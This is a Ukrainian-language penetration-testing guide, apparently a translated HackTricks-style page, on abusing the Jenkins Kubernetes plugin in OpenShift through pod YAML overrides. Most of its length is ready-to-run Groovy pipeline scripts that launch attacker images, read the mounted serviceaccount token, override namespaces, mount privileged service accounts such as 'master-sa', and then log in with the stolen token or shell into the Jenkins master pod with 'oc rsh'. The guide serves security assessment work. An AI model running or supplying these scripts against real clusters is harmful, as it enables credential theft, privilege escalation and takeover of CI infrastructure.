Jenkins в Openshift - переопределення подів збірки

Reading time: 4 minutes

Оригінальний автор цієї сторінки Fares

Плагін Kubernetes для Jenkins

Цей плагін в основному відповідає за основні функції Jenkins всередині кластера openshift/kubernetes. Офіційна документація тут Він пропонує кілька функціональностей, таких як можливість для розробників переоприділити деякі стандартні конфігурації пода збірки jenkins.

Основна функціональність

Цей плагін дозволяє розробникам гнучкість при збірці їхнього коду в належному середовищі.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Деякі зловживання, що використовують переопределення pod yaml

Однак його можна зловживати, щоб використовувати будь-який доступний образ, наприклад Kali Linux, і виконувати довільні команди, використовуючи попередньо встановлені інструменти з цього образу. У наведеному нижче прикладі ми можемо ексфільтрувати токен serviceaccount запущеного pod.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Інший синтаксис для досягнення тієї ж мети.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Приклад для переопределення простору імен пода

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ще один приклад, який намагається змонтувати serviceaccount (який може мати більше прав, ніж за замовчуванням, що виконує вашу збірку) на основі його імені. Вам, можливо, потрібно буде спочатку вгадати або перерахувати існуючі serviceaccounts.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Така ж техніка застосовується для спроби монтування Secret. Кінцева мета полягає в тому, щоб зрозуміти, як налаштувати збірку вашого пода для ефективного повороту або отримання привілеїв.

Йдемо далі

Як тільки ви звикнете грати з цим, використовуйте свої знання про Jenkins та Kubernetes/Openshift, щоб знайти неправильні налаштування / зловживання.

Запитайте себе наступні питання:

  • Який обліковий запис служби використовується для розгортання збірок подів?
  • Які ролі та дозволи він має? Чи може він читати секрети простору імен, в якому я зараз знаходжусь?
  • Чи можу я далі перерахувати інші збірки подів?
  • З компрометованого sa, чи можу я виконувати команди на майстер-ноді/поду?
  • Чи можу я далі перерахувати кластер, щоб перейти в інше місце?
  • Який SCC застосовується?

Ви можете дізнатися, які команди oc/kubectl видавати тут і тут.

Можливі сценарії підвищення привілеїв/повороту

Припустимо, що під час вашої оцінки ви виявили, що всі збірки jenkins виконуються в просторі імен під назвою worker-ns. Ви з'ясували, що на збірках подів змонтовано обліковий запис служби за замовчуванням під назвою default-sa, однак у нього не так багато дозволів, крім доступу на читання до деяких ресурсів, але ви змогли ідентифікувати існуючий обліковий запис служби під назвою master-sa. Припустимо також, що у вас встановлена команда oc всередині працюючого контейнера збірки.

З наведеним нижче скриптом збірки ви можете взяти під контроль обліковий запис служби master-sa і далі перерахувати.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Залежно від вашого доступу, вам потрібно або продовжити вашу атаку з скрипту збірки, або ви можете безпосередньо увійти як цей sa на запущеному кластері:

bash
oc login --token=$token --server=https://apiserver.com:port

Якщо цей sa має достатньо прав (наприклад, pod/exec), ви також можете взяти під контроль цілу інстанцію jenkins, виконуючи команди всередині пода майстер-нод, якщо він працює в тій же області імен. Ви можете легко ідентифікувати цей под за його назвою та тим фактом, що він повинен монтувати PVC (постійний об'єм запиту), який використовується для зберігання даних jenkins.

bash
oc rsh pod_name -c container_name

У випадку, якщо под майстер-нод не працює в тому ж просторі імен, що й робітники, ви можете спробувати подібні атаки, націлюючись на простір імен майстра. Припустимо, він називається jenkins-master. Майте на увазі, що serviceAccount master-sa має існувати в просторі імен jenkins-master (і може не існувати в просторі імен worker-ns).